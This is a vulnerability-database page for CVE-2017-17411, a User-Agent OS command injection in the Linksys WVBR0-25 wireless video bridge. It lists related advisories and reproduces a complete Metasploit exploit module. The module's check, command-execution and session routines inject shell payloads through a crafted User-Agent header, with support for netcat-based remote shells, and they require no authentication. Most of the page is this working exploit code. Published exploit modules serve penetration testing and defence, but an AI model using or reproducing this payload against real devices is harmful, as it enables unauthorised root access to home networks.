Lucene search
+L

Linksys WVBR0-25 User-Agent Command Execution

🗓️ 04 Jan 2018 00:00:00Reported by HeadlessZekeType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 51 Views

Linksys WVBR0-25 Wireless Video Bridge OS Command Injectio

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Linksys WVBR0 - User-Agent Remote Command Injection Exploit
19 Dec 201700:00
zdt
zdt
zdt
Linksys WVBR0-25 User-Agent Command Execution Exploit
4 Jan 201800:00
zdt
attackerkb
ATTACKERKB
CVE-2017-17411
21 Dec 201714:29
attackerkb
circl
Circl
CVE-2017-17411
29 May 201815:50
circl
cnvd
CNVD
Linksys WVBR0 Wireless Bridge Remote Command Execution Vulnerability
15 Dec 201700:00
cnvd
checkpoint_advisories
Check Point Advisories
Linksys WVBR0-25 Command Injection (CVE-2017-17411)
28 May 201800:00
checkpoint_advisories
cve
CVE
CVE-2017-17411
21 Dec 201714:00
cve
cvelist
Cvelist
CVE-2017-17411
21 Dec 201714:00
cvelist
exploitdb
Exploit DB
Linksys WVBR0 - 'User-Agent' Remote Command Injection
14 Dec 201700:00
exploitdb
exploitdb
Exploit DB
Linksys WVBR0-25 - User-Agent Command Execution (Metasploit)
4 Jan 201800:00
exploitdb
Rows per page
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Linksys WVBR0-25 User-Agent Command Execution',  
'Description' => %q{  
The Linksys WVBR0-25 Wireless Video Bridge, used by DirecTV to connect wireless Genie  
cable boxes to the Genie DVR, is vulnerable to OS command injection in version < 1.0.41  
of the web management portal via the User-Agent header. Authentication is not required to  
exploit this vulnerability.  
},  
'Author' =>  
[  
'HeadlessZeke' # Vulnerability discovery and Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2017-17411'],  
['ZDI', '17-973'],  
['URL', 'https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair']  
],  
'DisclosureDate' => 'Dec 13 2017',  
'Privileged' => true,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 1024,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic netcat'  
}  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' => [[ 'Automatic', { }]],  
'DefaultTarget' => 0  
))  
end  
  
def check  
check_str = rand_text_alpha(8)  
begin  
res = send_request_raw({  
'method' => 'GET',  
'uri' => '/',  
'agent' => "\"; printf \"#{check_str}"  
})  
if res && res.code == 200 && res.body.to_s.include?(Rex::Text.md5(check_str))  
return Exploit::CheckCode::Vulnerable  
end  
rescue ::Rex::ConnectionError  
return Exploit::CheckCode::Unknown  
end  
  
Exploit::CheckCode::Safe  
end  
  
def exploit  
print_status("#{peer} - Trying to access the device ...")  
  
unless check == Exploit::CheckCode::Vulnerable  
fail_with(Failure::NotVulnerable, "#{peer} - Failed to access the vulnerable device")  
end  
  
print_status("#{peer} - Exploiting...")  
  
if datastore['PAYLOAD'] == 'cmd/unix/generic'  
exploit_cmd  
else  
exploit_session  
end  
end  
  
def exploit_cmd  
beg_boundary = rand_text_alpha(8)  
  
begin  
res = send_request_raw({  
'method' => 'GET',  
'uri' => '/',  
'agent' => "\"; echo #{beg_boundary}; #{payload.encoded} #"  
})  
  
if res && res.code == 200 && res.body.to_s =~ /#{beg_boundary}/  
print_good("#{peer} - Command sent successfully")  
if res.body.to_s =~ /ret :.+?#{beg_boundary}(.*)/ # all output ends up on one line  
print_status("#{peer} - Command output: #{$1}")  
end  
else  
fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed")  
end  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")  
end  
end  
  
def exploit_session  
begin  
send_request_raw({  
'method' => 'GET',  
'uri' => '/',  
'agent' => "\"; #{payload.encoded} #"  
})  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation